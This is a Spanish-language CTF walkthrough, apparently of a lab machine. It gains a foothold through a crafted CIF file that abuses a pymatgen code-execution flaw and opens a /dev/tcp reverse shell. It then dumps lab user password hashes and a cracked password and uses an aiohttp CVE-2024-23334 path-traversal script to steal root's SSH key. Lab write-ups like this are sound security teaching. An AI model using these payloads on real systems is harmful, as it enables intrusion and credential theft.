encontramos un servicio web en el puerto 5000 y nos podemos logear, investigando vemos que se pueden subir archivo CIF y hay un exploit en versiones anteriores a las de 2024 y esta es la web que encontre: https://github.com/advisories/GHSA-vgv8-5cpj-qj2f el archivo que subi tiene este content:
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.14.222/4444 0>&1'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
me puse en modo escucha y le di a view
ahora toca Tratamiento de la tty, y analizamos el archivo .py de la web y encontramos la siguiente info:
- secretkey:
MyS3cretCh3mistry4PP
- base de datos:
sqlite:///database.db
vemos que tiene que haber algun archivo database.db por ahi y si buscar esta en ~/instance vamos a ver que pone en el archivovemos datos por aqui
pepeluiqfqd fulcrum jorge123 memdik test kriste axel fabian gelacia eusebio tania victoria peter carlos jobert
pero vamos a verlo mejor
sqlite3 sqlite3 /home/app/instance/database.db
aqui tenemos todos los usuarios y password en md5, vamos a intentar pillar el del usuario rosa ya que tiene cuenta en este equipo
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|neman|5f4dcc3b5aa765d61d8327deb882cf99
16|test|098f6bcd4621d373cade4e832627b4f6
17|dika|400b101d76bff5cabc298bbe080bbccf
18|meme|81dc9bdb52d04dc20036dbd8313ed055
19|f|8fa14cdd754f91cc6554c9e71929cce7
20|jorge123|f495be79bad3d692686f63d43283c1f8
21|fulcrum|202cb962ac59075b964b07152d234b70
22|sfq<s|0f6b42d7acd2faa40944e4b7a7c7daf5
23|qfqd|74dd82224e2eae0b1dc31a839cb20b9e
24|pepeluis|ce28b4838c0d053574e6e96ff8c03062
25|qdq|9ce9befcb11703fe1f6ed7161f36e9a8
26|admin' OR 1=1#|81dc9bdb52d04dc20036dbd8313ed055
27|cid|8c405ae1daf2575440a037284f934421
unicorniosrosados
vamos a iniciar session con ella rosa/unicorniosrosados
si revisamos su home vemos el linpeas aqui, pero voy a usar LinEnum, y vemos que hay un servicio corriendo en el puerto 8080
si revisamos los procesos con
ps aux
vemos que root ha ejecutado este app.py
vamos a hacer un portforwarding usando ssh
ssh -L 8081:127.0.0.1:8080 rosa@10.10.11.38
tenemos esta web
vamos a ver que tecnologia usa
aiohttp 3.9.1
vamos a ver si tiene exploits https://github.com/z3rObyte/CVE-2024-23334-PoC/blob/main/exploit.sh
lo usamos
#!/bin/bash
url="http://localhost:8081"
string="../"
payload="/static/"
file="etc/passwd" # without the first /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [[ $status_code -eq 200 ]]; then
curl -s --path-as-is "$url$payload$file"
break
fi
done
--path-as-is
La opción —path-as-is en cURL se utiliza para enviar la URL completa al servidor sin modificarla. Esto es útil cuando se quiere preservar el formato exacto de la URL, incluyendo cualquier codificación o estructura especial.
pero modificamos el script para el directorio /assets
aqui lo tenemos, vamos a leer la key de ssh de root y nos la ponemos en nuestro equipo, le damos los permisos
chmod 400 ssh_rsa
y nos conectamos
ssh -i ssh_rsa root@10.10.11.38